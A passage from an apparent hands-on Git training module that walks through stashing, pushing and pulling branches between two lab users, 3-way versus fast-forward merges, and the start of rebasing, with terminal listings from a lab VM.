hashes. The d9843d4 commit should seem familiar as it is the last
commit on the current branch. The 9cf992e commit was created for
the staged changes that we stashed. We will revisit the 9cf992e
commit object momentarily. For now, let's continue down the data
structure by reviewing the tree object, dad954.
hacker@git:~/my_comic_collection$ git cat-file -p dad954
040000 tree 6ebf70c4036a0cabff5f8670565995a410d10862 Heroes
040000 tree de260edc539831c447804e37e3245a44bbccfb43 Locations
100644 blob 3b8be0acc23423068f5f8168e9bb485193c4f730 README.md
040000 tree 6fab82d1fdc259570133b5979854151174238d49 Villains
100644 blob 903b51 4746b049d4a5cd24085f8cc0633f3b1050 darkMode.txt
hacker@git:~/my_comic_collection$ git cat-file -p 903b51
Super cool code that creates Dark Mode feature
more super cool code
third line of super cool code
Listing 17 - Reviewing object dad954
The 60c70c commit object contains the unstaged changes. Can we
assume that the 9cf992e commit object contains the staged changes?
Let's examine that.
hacker@git:~/my_comic_collection$ git cat-file -p 9cf992e
tree 73ec0c 149cbf2be4d1ea38ab3f822be75b4a2417
parent d9843d460ef3b7575b9cf8bfaf5af534067f7f6c
author Hacker <hacker@local.com> 1660321536 +0000
committer Hacker <hacker@local.com> 1660321536 +0000
index on newFeature_darkMode: d9843d4 inital code for dark mode feature
hacker@git:~/my_comic_collection$ git cat-file -p 73ec0c
040000 tree 6ebf70c4036a0cabff5f8670565995a410d10862 Heroes
040000 tree de260edc539831c447804e37e3245a44bbccfb43 Locations
100644 blob 3b8be0acc23423068f5f8168e9bb485193c4f730 README.md
040000 tree 6fab82d1fdc259570133b5979854151174238d49 Villains
100644 blob 930c77 a0e8400155957340cb8c4216e3cb543961 darkMode.txt
hacker@git:~/my_comic_collection$ git cat-file -p 930c77
Super cool code that creates Dark Mode feature
more super cool code
Listing 18 - Reviewing object 9cf992e
Indeed it does. Basically, Git created two temporary commits when we
stash unstaged and staged changes.
To summarize our progress so far, we stashed our work and we
identified what Git does when doing so. Let's run git status and
try switching branches.
hacker@git:~/my_comic_collection$ git status
On branch newFeature_darkMode
nothing to commit, working tree clean
hacker@git:~/my_comic_collection$ git checkout main
Switched to branch 'main'
Your branch is up to date with 'origin/main'.
Listing 19 - Switch to the main branch
Great! We have a clean working tree for newFeature_darkMode and we
can change to the main branch. Stashing our work was successful.
Let's switch branches and unstash our work.
hacker@git:~/my_comic_collection$ git checkout newFeature_darkMode
Switched to branch 'newFeature_darkMode'
Listing 20 - Switch to the newFeature_darkMode branch
First, we need to list the items in our stash using the list
option with git stash.
hacker@git:~/my_comic_collection$ git stash list
stash@{0}: WIP on newFeature_darkMode: d9843d4 initial code for dark mode feature
Listing 21 - List stashed items
We can view the list of stashed items. As we stash more items, they
will appear in this list.
Next, we will re-apply the stashed changes by using the apply
and --index options. We should pay special attention to the
--index option.
hacker@git:~/my_comic_collection$ git stash apply --index
On branch newFeature_darkMode
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
modified: darkMode.txt
Changes not staged for commit:
(use "git add <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
modified: darkMode.txt
Listing 22 - Apply stashed items
Our staged and unstaged changes were restored accordingly. If we
omitted the --index option, all of our changes would default to
unstaged. This may be something that we are okay with it, but for this
scenario, we wanted to have the changes restored to their original
state.
Even though we "unstashed" our changes, the commit objects continue
to exist. Our changes were applied, but remnants of stashed data still
exist. We can verify this by listing the stashed items.
hacker@git:~/my_comic_collection$ git stash list
stash@{0}: WIP on newFeature_darkMode: d9843d4 inital code for dark mode feature
Listing 23 - List stashed items
The stashed container continues to exist. Similar to the idea of
fetching, Git allows us to apply the changes within a stashed item
without removing the stash itself. This is another amazing Git feature
that expands our flexibility.
For our case, we no longer need this stashed item, so we can clear
it using the clear option. This means that the changes that Git
maintains separately from the other states are no longer required.
By clearing them, we are informing Git that it no longer needs to
maintain those changes in a separate container.
Once we clear the stash, let's verify that Git cleared it by listing
the stashed items.
hacker@git:~/my_comic_collection$ git stash clear
hacker@git:~/my_comic_collection$ git stash list
hacker@git:~/my_comic_collection$
Listing 24 - Clear stashed items
We were able to clear the stash list, which removed the commit
objects.
Alternatively, we could use git stash pop, which applies the
changes within the stashed object and removes the stashed object
itself. The git stash command is very powerful and full of
capabilities like viewing the differences, similar to git diff.
We can also use it to create a branch from a stash. We can even apply
specific stashed changes if we have more than one and/or use a message
when we stash a change. Becoming more familiar with the git stash
command takes time, but it can be very beneficial.
So far, we've interacted with two different branches that exist
locally. We can display remote branches with the -r option of
git branch.
hacker@git:~/my_comic_collection$ git branch -r
origin/HEAD -> origin/main
origin/main
Listing 25 - List remote branches
This shows us that the remote repository named origin has one branch
named main and the HEAD points to the main branch.
Let's stage our changes, and commit them.
hacker@git:~/my_comic_collection$ git add darkMode.txt
hacker@git:~/my_comic_collection$ git commit -m "almost done with creating this new feature"
[newFeature_darkMode 97ebd10] almost done with creating this new feature
1 file changed, 2 insertions(+)
Listing 26 - Add and commit darkMode.txt changes
Next, we can add a new branch on the remote repository and push the
changes. To do so, we can use git push, providing the specific
remote and branch names.
hacker@git:~/my_comic_collection$ git push origin newFeature_darkMode
Enter passphrase for key '/home/hacker/.ssh/id_rsa': hacker1!
Enumerating objects: 7, done.
Counting objects: 100% (7/7), done.
Compressing objects: 100% (5/5), done.
Writing objects: 100% (6/6), 605 bytes | 201.00 KiB/s, done.
Total 6 (delta 2), reused 0 (delta 0), pack-reused 0
remote:
remote: To create a merge request for newFeature_darkMode, visit:
remote: http://git/follow_along/my_comic_collection/-/merge_requests/new?merge_request%5Bsource_branch%5D=newFeature_darkMode
remote:
To ssh://git:2222/follow_along/my_comic_collection.git
* [new branch] newFeature_darkMode -> newFeature_darkMode
Listing 27 - Push updates to the remote branch
Great! We created a new branch in the remote repository with the same
name as the branch in our local repository.
We also pushed our changes from the local to the remote branch.
Becoming comfortable pushing and pulling data like this is helpful
when using multiple remotes and branches, which is often the case.
Going back to a collaborative mindset, let's switch users to the
collector user, and change directories to our local repository.
hacker@git:~/my_comic_collection$ su collector
Password:
collector@git:/home/hacker/my_comic_collection$ cd /home/collector/my_comic_collection/
collector@git:~/my_comic_collection$
Listing 28 - Switch to collector user
Let's start by reviewing the remote branch list.
collector@git:~/my_comic_collection$ git branch -r
origin/HEAD -> origin/main
origin/main
Listing 29 - Checking the remote branch list
From the above results, as the collector user, we do not have
our local list of remote branches updated. We know this because our
newly-created remote branch does not appear in the output. There
are several ways to achieve this. A simple solution is to run git
pull.
collector@git:~/my_comic_collection$ git pull
Enter passphrase for key '/home/collector/.ssh/id_rsa': collector1!
remote: Enumerating objects: 7, done.
remote: Counting objects: 100% (7/7), done.
remote: Compressing objects: 100% (5/5), done.
remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (6/6), 629 bytes | 629.00 KiB/s, done.
From ssh://git:2222/follow_along/my_comic_collection
* [new branch] newFeature_darkMode -> origin/newFeature_darkMode
Already up to date.
Listing 30 - Update the remote branch list
The output informs us that our local list of remote branches is
updated. This local repository does not have a record of the new
remote branch. Let's confirm this using the git branch -r command.
collector@git:~/my_comic_collection$ git branch -r
origin/HEAD -> origin/main
origin/main
origin/newFeature_darkMode
Listing 31 - Checking the remote branch list
Great! Next, let's create it locally and switch to the new branch.
Then, we'll pull the latest changes for it by using the remote and
branch names.
collector@git:~/my_comic_collection$ git branch
* main
collector@git:~/my_comic_collection$ git checkout -b newFeature_darkMode
Switched to a new branch 'newFeature_darkMode'
collector@git:~/my_comic_collection$ git pull origin newFeature_darkMode
Enter passphrase for key '/home/collector/.ssh/id_rsa': collector1!
From ssh://git:2222/follow_along/my_comic_collection
* branch newFeature_darkMode -> FETCH_HEAD
Updating 13ef5e4..e1f19ec
Fast-forward
darkMode.txt | 3 +++
1 file changed, 3 insertions(+)
create mode 100644 darkMode.txt
Listing 32 - Update local repository from the remote repository regarding newFeature_darkMode branch
As the collector user, let's commit a few changes to both the
newFeature_darkMode branch and the main branch.
collector@git:~/my_comic_collection$ echo "probably the last line of code" >> darkMode.txt
collector@git:~/my_comic_collection$ git add darkMode.txt
collector@git:~/my_comic_collection$ git commit -m "added a fourth line of code"
[newFeature_darkMode 442e81a] added a fourth line of code
1 file changed, 1 insertion(+)
collector@git:~/my_comic_collection$ git checkout main
Switched to branch 'main'
Your branch is up to date with 'origin/main'.
collector@git:~/my_comic_collection$ echo "create website, add content, integrate dark mode feature" > todo.txt
collector@git:~/my_comic_collection$ git add todo.txt
collector@git:~/my_comic_collection$ git commit -m "created our to do list to keep us on track"
[main bf0e7d8] created our to do list to keep us on track
1 file changed, 1 insertion(+)
create mode 100644 todo.txt
Listing 33 - Commit changes to newFeature_darkMode and main local branches
We added another line to darkMode.txt and created and added a line
to todo.txt. The commits are part of separate branches however.
Let's further explore that.
We have two remote branches and two local branches. We also have a
remote and local HEAD. As a reminder, the HEAD is the last
commit for the active or current branch we are working in. The remote
repository has one as well, which we can change, but we won't in
this module.
Let's review the commit history and analyze what's going on. In order
to view the commit history for all the branches, we will use the
--all option. The --graph option displays the results in
a graph-like format to allow for an easier time to view development
lines. Unlike the oneline argument, this time we will use the
short argument. In addition to the commit hash and commit message,
the git log command will also display the author. Lastly, we will
use the -n option with a number to display the number of commits
we specify.
collector@git:~/my_comic_collection$ git log --all --graph --pretty=short -n 5
* commit bf0e7d8509437cea807dd00f7a697789a95d7aa7 (HEAD -> main)
| Author: Collector <collector@local>
|
| created our to do list to keep us on track
|
| * commit 442e81a98edc1f97293ab928167180fc1c28c53e (newFeature_darkMode)
| | Author: Collector <collector@local>
| |
| | added a fourth line of code
| |
| * commit 97ebd102492666efaf75656e4e570d5267c16c3e (origin/newFeature_darkMode)
| | Author: Hacker <hacker@local.com>
| |
| | almost done with creating this new feature
| |
| * commit d9843d460ef3b7575b9cf8bfaf5af534067f7f6c
|/ Author: Hacker <hacker@local.com>
|
| inital code for dark mode feature
|
* commit e30b7a96562c0edf75c13d26a1ece87f46e52705 (origin/main, origin/HEAD)
| Author: Collector <collector@local>
|
| add some heroes, villains, and locations
Listing 34 - Review commit history for both branches
The commits highlighted in red belong to the main branch. The left
vertical dashed line that runs from commit to commit represents the
main branch. Highlighted in green are the commits belonging to the
newFeature_darkMode branch. The right vertical dashed line running
from commit to commit represents the newFeature_darkMode branch.
This command also displays at which point we made a new branch and
where it was created from. The newFeature_darkMode branch "branches"
off of the main branch.
In terms of HEAD, locally, it points to the main branch.
Remotely, HEAD also points to main, which is displayed in commit
e30b7a. The local main branch is ahead of remote main branch
by one commit. We can confirm this by comparing which commits contain
the names of the branches we're interested in. origin/main's last
commit is e30b7a, while main's last commit is bf0e7d. The
same idea applies to the newFeature_darkMode branch. The remote
branch is behind the local branch by one commit.
Deciphering the commit history and identifying which branches are
ahead or behind in terms of local versus remote is a critical skill.
It's even more crucial when dealing with multiple remotes.
Even though Git has features to aid in keeping things organized,
things can easily become convoluted when we involve multiple branches,
even with only one remote repository.
Being able to properly leverage Git is important and gets easier with
practice and experience.
Let's update both branches remotely and switch users back to the
hacker user.
collector@git:~/my_comic_collection$ git branch
* main
newFeature_darkMode
collector@git:~/my_comic_collection$ git push origin main
Enter passphrase for key '/home/collector/.ssh/id_rsa': collector1!
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 331 bytes | 331.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
To ssh://git:2222/follow_along/my_comic_collection.git
e30b7a9..bf0e7d8 main -> main
collector@git:~/my_comic_collection$ git checkout newFeature_darkMode
Switched to branch 'newFeature_darkMode'
collector@git:~/my_comic_collection$ git push origin newFeature_darkMode
Enter passphrase for key '/home/collector/.ssh/id_rsa': collector1!
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 310 bytes | 310.00 KiB/s, done.
Total 3 (delta 2), reused 0 (delta 0), pack-reused 0
remote:
remote: To create a merge request for newFeature_darkMode, visit:
remote: http://git/follow_along/my_comic_collection/-/merge_requests/new?merge_request%5Bsource_branch%5D=newFeature_darkMode
remote:
To ssh://git:2222/follow_along/my_comic_collection.git
97ebd10..442e81a newFeature_darkMode -> newFeature_darkMode
collector@git:~/my_comic_collection$ su hacker
Password:
hacker@git:/home/collector/my_comic_collection$ cd /home/hacker/my_comic_collection/
hacker@git:~/my_comic_collection$
Listing 35 - Update both branches on the remote repository
Lastly, we update both branches locally for the hacker user by
pulling the latest changes from the remote repository.
hacker@git:~/my_comic_collection$ git branch
main
* newFeature_darkMode
hacker@git:~/my_comic_collection$ git pull origin newFeature_darkMode
Enter passphrase for key '/home/hacker/.ssh/id_rsa': hacker1!
remote: Enumerating objects: 5, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (3/3), done.
Unpacking objects: 100% (3/3), 290 bytes | 290.00 KiB/s, done.
remote: Total 3 (delta 2), reused 0 (delta 0), pack-reused 0
From ssh://git:2222/follow_along/my_comic_collection
* branch newFeature_darkMode -> FETCH_HEAD
97ebd10..442e81a newFeature_darkMode -> origin/newFeature_darkMode
Updating 97ebd10..442e81a
Fast-forward
darkMode.txt | 1 +
1 file changed, 1 insertion(+)
hacker@git:~/my_comic_collection$ git checkout main
Switched to branch 'main'
Your branch is up to date with 'origin/main'.
hacker@git:~/my_comic_collection$ git pull origin main
Enter passphrase for key '/home/hacker/.ssh/id_rsa': hacker1!
remote: Enumerating objects: 4, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (3/3), done.
Unpacking objects: 100% (3/3), 311 bytes | 311.00 KiB/s, done.
remote: Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
From ssh://git:2222/follow_along/my_comic_collection
* branch main -> FETCH_HEAD
e30b7a9..bf0e7d8 main -> origin/main
Updating e30b7a9..bf0e7d8
Fast-forward
todo.txt | 1 +
1 file changed, 1 insertion(+)
create mode 100644 todo.txt
Listing 36 - Update both branches on the local repository for the hacker user
Let's review the commit log to confirm both of our branches locally
are updated with the remote commits.
hacker@git:~/my_comic_collection$ git log --all --graph --pretty=short -n 5
* commit bf0e7d8509437cea807dd00f7a697789a95d7aa7 (HEAD -> main, origin/main, origin/HEAD)
| Author: Collector <collector@local>
|
| created our to do list to keep us on track
|
| * commit 442e81a98edc1f97293ab928167180fc1c28c53e (origin/newFeature_darkMode, newFeature_darkMode)
| | Author: Collector <collector@local>
| |
| | added a fourth line of code
| |
| * commit 97ebd102492666efaf75656e4e570d5267c16c3e
| | Author: Hacker <hacker@local.com>
| |
| | almost done with creating this new feature
| |
| * commit d9843d460ef3b7575b9cf8bfaf5af534067f7f6c
|/ Author: Hacker <hacker@local.com>
|
| inital code for dark mode feature
|
* commit e30b7a96562c0edf75c13d26a1ece87f46e52705
| Author: Collector <collector@local>
|
| add some heroes, villains, and locations
Listing 37 - Review the log after the update
Perfect! To summarize, we made changes to different branches on two
different local repositories. We were able to push and pull changes
accordingly, similar to the workflow in a collaborative environment.
We confirmed that our local and remote repositories match for both
branches by examining the commit history.
Now that we have two branches, we need to merge the
newFeature_darkMode branch back into the main branch. Before we cover merging, let's mention one last, but important, aspect of creating branches.
Listing 37 shows the newFeature_darkMode
branch has three commits not included in the main branch. This
means when we create a new branch, the active branch must be taken
into account. If we create a new branch while we are working in the
main branch, the new branch will be a copy of main. Alternatively,
let's say we switch to the newFeature_darkMode branch first,
then create a new branch. The new branch will be a copy of the
newFeature_darkMode branch instead. This is a very critical
distinction to note. As we move forward and work on the exercises,
we need to pay attention to the order we run our commands. This is
especially important when we create branches. The more branches we are
working with, the more we have to check our working branch before we
attempt to do things like create a new branch, push, or pull to the
remote repository.
Let's complete a few exercises, then continue to the next section to
learn more about how Git merging works.
Depending on the roles and responsibilities, developers might have
to perform a merge request to merge their working branch to the main
development branch. From a business perspective, this can help create
a repeatable process of reviewing and documenting changes in source
code.
We will not analyze the DevOps workflow in this section, but instead
focus more on the technical aspect of branches as part of Git.
To successfully walk through this section using a hands-on approach,
we will have to complete the previous section, Branching and
Stashing. If we have not completed all of the tasks in the previous
section within the module VM, we will need to execute a script
that automatically completes the tasks. We will need to revert
the VM (if it's running), log in as the hacker user, and run the
ludicrousSpeed_branching.sh script located in /home/hacker/
directory. Our GitLab instance must be running.
Once we have confirmed that our GitLab instance is up and running by
browsing to it on port 8080 on our lab VM, let's run the following
command:
hacker@git:~$ ./ludicrousSpeed_branching.sh
Listing 38 - Running ludicrousSpeed_branching.sh script
Our environment should be ready for us to move forward.
Continuing from where we left off, let's merge the changes in the
newFeature_darkMode branch into the main branch.
First, we will need to make sure that we are located in the
/home/hacker/my_comic_collection directory. Next, we will need to
make sure we are checking out the main branch. Then, we can merge
the two branches together with git merge.[769-1]
hacker@git:~/my_comic_collection$ git merge newFeature_darkMode
Listing 39 - Run git merge
Once we submit the command above, a text editor, as shown in the
screenshot below, will likely appear requiring us to provide a commit
message.
Let's leave the default message. To save and exit, we press
C+x, then y to confirm.
hacker@git:~/my_comic_collection$ git merge newFeature_darkMode
Merge made by the 'ort' strategy.
darkMode.txt | 4 ++++
1 file changed, 4 insertions(+)
create mode 100644 darkMode.txt
Listing 40 - Merging newFeature_darkMode branch into the main branch
The output informs us of the merge strategy used, which we'll
elaborate on momentarily. It also shows us the name of the file
changed, the mode, and the number of lines changed, in this case 4.
Before we move forward, let's delete the newFeature_darkMode branch
as it is no longer needed.
hacker@git:~/my_comic_collection$ git branch -d newFeature_darkMode
Deleted branch newFeature_darkMode (was 442e81a).
Listing 41 - Delete the newFeature_darkMode branch
Merge strategies[774] is a very important concept
to understand, because it can help us solve merge conflicts. Merge
conflicts occur when we attempt to merge two branches that contain
changes to the same file. For example, one developer might have
changed line one of a document, while another developer also changed
line one of the same document.
If we attempt to merge these two changes, Git needs to know which
change to apply, resulting in a merge conflict. Git generally uses
merge strategy mechanisms in situations where two or more branches
have veered off their linear path toward the target branch.
What does that mean? In our example, we committed new changes to both
the main and the newFeature_darkMode branches. When we attempt
to take the commits from newFeature_darkMode and integrate them
into main, Git has to analyze all the commits on both branches that
occurred after their common ancestor commit.
Let's review the log to better understand this concept.
hacker@git:~/my_comic_collection$ git log --all --graph --pretty=short -n 6
* commit 84436ce58d688b52f4c6dbe66175362d875f1108 (HEAD -> main)
|\ Merge: bf0e7d8 442e81a
| | Author: Hacker <hacker@local.com>
| |
| | Merge branch 'newFeature_darkMode'
| |
| * commit 442e81a98edc1f97293ab928167180fc1c28c53e (origin/newFeature_darkMode, newFeature_darkMode)
| | Author: Collector <collector@local>
| |
| | added a fourth line of code
| |
| * commit 97ebd102492666efaf75656e4e570d5267c16c3e
| | Author: Hacker <hacker@local.com>
| |
| | almost done with creating this new feature
| |
| * commit d9843d460ef3b7575b9cf8bfaf5af534067f7f6c
| | Author: Hacker <hacker@local.com>
| |
| | inital code for dark mode feature
| |
* | commit bf0e7d8509437cea807dd00f7a697789a95d7aa7 (origin/main, origin/HEAD)
|/ Author: Collector <collector@local>
|
| created our to do list to keep us on track
|
* commit e30b7a96562c0edf75c13d26a1ece87f46e52705
| Author: Collector <collector@local>
|
| add some heroes, villains, and locations
Listing 42 - Reviewing the commit log post merge
The two commits highlighted in red are the last commits for both
branches, while the green commit is the common ancestral commit. In
other words, both branches "stemmed" off from the e30b7a commit
object. Git uses these commits to analyze the changes and creates a
new commit, 84436c commit object. This is called a 3-way merge,
and Git can implement various merge strategies to achieve this.
The ort merge strategy is the default strategy and it is the one
that Git used in this case. Having an in depth understanding of the
different merge strategies is not required for this module. What
is important is to know that Git implements merge strategies in
situations like a 3-way merge. But what about other situations where a
3-way merge isn't necessary?
In Listing 42, Git displays two different lines that
split and then join back together again. This is usually indicative
of a 3-way merge. Let's explore what Git does when a 3-way merge isn't
necessary.
First, let's create a new branch named toDoList and switch to it.
Then, let's add a new line to todo.txt and commit the change.
Finally, we will check the commit log to confirm our commit.
hacker@git:~/my_comic_collection$ git checkout -b toDoList
Switched to a new branch 'toDoList'
hacker@git:~/my_comic_collection$ echo "transfer repo from private hosting to publicly accessible hosting" >> todo.txt
hacker@git:~/my_comic_collection$ git add todo.txt
hacker@git:~/my_comic_collection$ git commit -m "added one item to the to do list"
[toDoList b921c5f] added one item to the to do list
1 file changed, 1 insertion(+)
hacker@git:~/my_comic_collection$ git checkout main
Switched to branch 'main'
Your branch is ahead of 'origin/main' by 4 commits.
(use "git push" to publish your local commits)
hacker@git:~/my_comic_collection$ git log --all --graph --pretty=short -n 2
* commit b921c5fb550eaed585fb3bd385d01632c0a9ada5 (toDoList)
| Author: Hacker <hacker@local.com>
|
| added one item to the to do list
|
* commit 84436ce58d688b52f4c6dbe66175362d875f1108 (HEAD -> main)
|\ Merge: bf0e7d8 442e81a
| | Author: Hacker <hacker@local.com>
| |
| | Merge branch 'newFeature_darkMode'
Listing 43 - Creating a new branch from main and committing a change
We verified the head of the main branch is at commit 84436c,
while the head of the toDoList branch is at commit b921c5.
However, even though the b921c5 commit exists in a separate
branch, the graph only displays one line. This is different from the
two lines we experienced earlier. Let's merge the two branches and
check the log again.
hacker@git:~/my_comic_collection$ git merge toDoList
Updating 84436ce..b921c5f
Fast-forward
todo.txt | 1 +
1 file changed, 1 insertion(+)
hacker@git:~/my_comic_collection$ git log --all --graph --pretty=short -n 2
* commit b921c5fb550eaed585fb3bd385d01632c0a9ada5 (HEAD -> main, toDoList)
| Author: Hacker <hacker@local.com>
|
| added one item to the to do list
|
* commit 84436ce58d688b52f4c6dbe66175362d875f1108
|\ Merge: bf0e7d8 442e81a
| | Author: Hacker <hacker@local.com>
| |
| | Merge branch 'newFeature_darkMode'
Listing 44 - Fast-forward merging example
The first thing to focus our attention on is the output of git
merge. Git informs us that the pointer to the main branch was
updated and it displays the two commit hashes. This is what Git refers
to as a fast-forward merge. This is the more simple merging method,
as compared to the 3-way merge. Basically, Git moves the head pointer
to point to a different commit object.
The other thing to notice is the output from the commit log. Even
though we created a new branch, a new commit, and merged it, Git did
not need to create a new commit object that merged the changes from
one branch to the other. Once again, this is a great example at how
efficient Git can be.
Let's delete the branch and explore a way to "force" a 3-way merge,
so that a new commit is created, as opposed to moving the pointer. We
will also need to perform a hard reset to undo the last commit.
The git reset command is one of Git's commands that will undo
certain actions. For example, when we use it with the --hard
option, it will undo the changes of commits up to the commit we
reference. This will also move HEAD to the commit we reference in
our command. Word of caution when using these commands: depending on
the situation, some of these commands can completely erase our work.
Having an in-depth understanding of Git's features and commands
related to undoing changes is out of scope though. So, let's continue
with deleting the branch and resetting the HEAD.
hacker@git:~/my_comic_collection$ git branch -d toDoList
Deleted branch toDoList (was b921c5f).
hacker@git:~/my_comic_collection$ git reset --hard 84436
HEAD is now at 84436ce Merge branch 'newFeature_darkMode'
Listing 45 - Delete branch and reset HEAD
We reset the HEAD and removed the previous commit.
Next, let's run our commands again to create a new branch, add new
text to toDoList.txt, and commit it.
hacker@git:~/my_comic_collection$ git checkout -b toDoList
Switched to a new branch 'toDoList'
hacker@git:~/my_comic_collection$ echo "transfer repo from private hosting to publicly accessible hosting" >> todo.txt
hacker@git:~/my_comic_collection$ git add todo.txt
hacker@git:~/my_comic_collection$ git commit -m "added one item to the to do list"
[toDoList c40db0b] added one item to the to do list
1 file changed, 1 insertion(+)
Listing 46 - Repeat a new commit to merge
Now let's switch branches to main. Lastly, we will use git merge
with the --no-ff option to inform Git that the merge cannot use a
fast forward method.
hacker@git:~/my_comic_collection$ git checkout main
Switched to branch 'main'
Your branch is ahead of 'origin/main' by 4 commits.
(use "git push" to publish your local commits)
hacker@git:~/my_comic_collection$ git merge --no-ff toDoList
Merge made by the 'ort' strategy.
todo.txt | 1 +
1 file changed, 1 insertion(+)
Listing 47 - Force 3-way merge
Git used an ort merge strategy, as expected. Let's view our log.
hacker@git:~/my_comic_collection$ git log --all --graph --pretty=short -n 3
* commit 9d5512f48341f6f3a27009de1f38846ef4af1097 (HEAD -> main)
|\ Merge: 84436ce c40db0b
| | Author: Hacker <hacker@local.com>
| |
| | Merge branch 'toDoList'
| |
| * commit c40db0b74e214a2f86c5a0d1823455491860856e (toDoList)
|/ Author: Hacker <hacker@local.com>
|
| added one item to the to do list
|
* commit 84436ce58d688b52f4c6dbe66175362d875f1108
|\ Merge: bf0e7d8 442e81a
| | Author: Hacker <hacker@local.com>
| |
| | Merge branch 'newFeature_darkMode'
Listing 48 - Check commit log
We confirmed that Git merged the two branches by creating a new commit
object.
To end this section, let's delete our toDoList branch.
hacker@git:~/my_comic_collection$ git branch -d toDoList
Deleted branch toDoList (was c40db0b).
Listing 49 - Delete the toDoList branch
Combining two or more branches can be achieved through a merge. There
are various merge options that Git will either automatically implement
or allow us to use, depending on the situation.
In the next section, we'll discuss the rebase option, and briefly
outline the idea of squashing, where we combine multiple commit
objects into a single one.
Rebasing is very similar to merging. A Git rebase will change
the HEAD of the current working branch, to the last commit of a
different branch. Then, it will replay the changes of the commits
specific to the current working branch. While this technically creates
new commits, the main reason behind using a rebase is to create a
flat commit history. This will make more sense soon when we show a
specific example.
First, let's outline the difference between a rebase and merge.
Working in a collaborative team environment, having an organized,
properly labelled, and easy to follow history can be very helpful. It
helps the rest of the team understand what is being worked on, and by
whom. It's also handy for other situations, such as one requiring the
investigation of the historical logs.
With that said, if we have a dozen developers working within their own
branches and merge their work to the main branch, there is a high
likelihood of 3-way merges occurring over fast-forward merges.
This can create a lot of unnecessary merge commits, which can make
it more difficult to backtrack the development process. Ideally, we
are aiming for a more flat history containing only the commits that
matter.
This is where rebasing comes in.
Like many good things, there is a downside - it requires more time
because it is usually more difficult to rebase as opposed to merging.
The difficulty comes from using it properly. It must be correctly
implemented to avoid causing other issues. For example, it is
recommended to rebase the local private repository, as opposed to the
public repository.
The pros and cons will make more sense as we discuss the technical
details.
To successfully walk through this section using a hands-on approach,
we will have to complete the previous Learning Objective, Merging. If
we have not completed all of the tasks in the previous section within
our module VM, we will need to execute a script that automatically
completes the tasks. We will need to revert the VM (if it's running),
log in as the hacker user, and run the ludicrousSpeed_merging.sh
script located in /home/hacker/ directory. GitLab instance must be
running.
Once we have confirmed that our GitLab instance is up and running,
by browsing to it on port 8080 on our lab VM, let's run the following
command:
hacker@git:~$ ./ludicrousSpeed_merging.sh
Listing 50 - Running ludicrousSpeed_merging.sh script
Our environment should be ready for us to move forward.
Continuing from where we left off, we need to clean up a few things.
First, we will need to make sure that we are located in the
/home/hacker/my_comic_collection directory. Then, let's check our
branch status, and make sure we are checking out the main branch.
hacker@git:~/my_comic_collection$ git status
On branch main
Your branch is ahead of 'origin/main' by 6 commits.
(use "git push" to publish your local commits)
nothing to commit, working tree clean
Listing 51 - Checking git status for hacker user
We confirmed that we are on the main branch. Also, our local main
branch is six commits ahead of the remote branch. Let's push our
commits to the remote branch to bring it up to date. We will do this
by using git push and specifying the remote repository and branch
names.
hacker@git:~/my_comic_collection$ git push origin main
Enter passphrase for key '/home/hacker/.ssh/id_rsa': hacker1!
Enumerating objects: 9, done.
Counting objects: 100% (9/9), done.
Compressing objects: 100% (6/6), done.
Writing objects: 100% (6/6), 700 bytes | 87.00 KiB/s, done.
Total 6 (delta 3), reused 0 (delta 0), pack-reused 0
To ssh://git:2222/follow_along/my_comic_collection.git
bf0e7d8..9d5512f main -> main
hacker@git:~/my_comic_collection$ git status
On branch main
Your branch is up to date with 'origin/main'.
nothing to commit, working tree clean
Listing 52 - Updating remote main branch
Great. Our local and remote main branch are in sync. We also need to
check our branch list on the local and remote repositories.
hacker@git:~/my_comic_collection$ git branch
* main
hacker@git:~/my_comic_collection$ git branch -r
origin/HEAD -> origin/main
origin/main
origin/newFeature_darkMode
Listing 53 - Check remote branch list
Locally, we're good, but we need to remove the newFeature_darkMode
branch from the remote repository. We can achieve that by using git
push, the name of the remote repository, --delete, and the name
of the branch. This option removes the refs in the remote repository.
We can then check the branch list on the remote repository to confirm
it was deleted.
hacker@git:~/my_comic_collection$ git push origin --delete newFeature_darkMode
Enter passphrase for key '/home/hacker/.ssh/id_rsa': hacker1!
To ssh://git:2222/follow_along/my_comic_collection.git
- [deleted] newFeature_darkMode
hacker@git:~/my_comic_collection$ git branch -r
origin/HEAD -> origin/main
origin/main
Listing 54 - Delete remote branch
Okay, our local repository for the hacker user is up to date to
the remote repository and our branches are cleaned up. Let's follow
similar steps for the collector user.
First, checkout the main branch. Then run a git pull.
Afterwards, delete the newFeature_darkMode branch locally. The
listing below outlines these steps.
hacker@git:~/my_comic_collection$ su collector
Password:
collector@git:/home/hacker/my_comic_collection$ cd /home/collector/my_comic_collection/
collector@git:~/my_comic_collection$ git branch
main
* newFeature_darkMode
collector@git:~/my_comic_collection$ git checkout main
Switched to branch 'main'
Your branch is up to date with 'origin/main'.
collector@git:~/my_comic_collection$ git pull
Enter passphrase for key '/home/collector/.ssh/id_rsa': collector1!
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 6 (delta 2), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (6/6), 707 bytes | 353.00 KiB/s, done.
From ssh://git:2222/follow_along/my_comic_collection
7ef1f6c..222b445 main -> origin/main
Updating 7ef1f6c..222b445
Fast-forward
darkMode.txt | 4 ++++
todo.txt | 1 +
2 files changed, 5 insertions(+)
create mode 100644 darkMode.txt
collector@git:~/my_comic_collection$ git branch -d newFeature_darkMode
Deleted branch newFeature_darkMode (was 8967c09).
Listing 55 - Update collector user local repository
We have updated our local repository and removed the local branch.
Let's verify our branch list locally and remotely for this user.
collector@git:~/my_comic_collection$ git branch
* main
collector@git:~/my_comic_collection$ git branch -r
origin/HEAD -> origin/main
origin/main
origin/newFeature_darkMode
Listing 56 - Verify branch list
Our local branch list was updated, but our local list of the remote
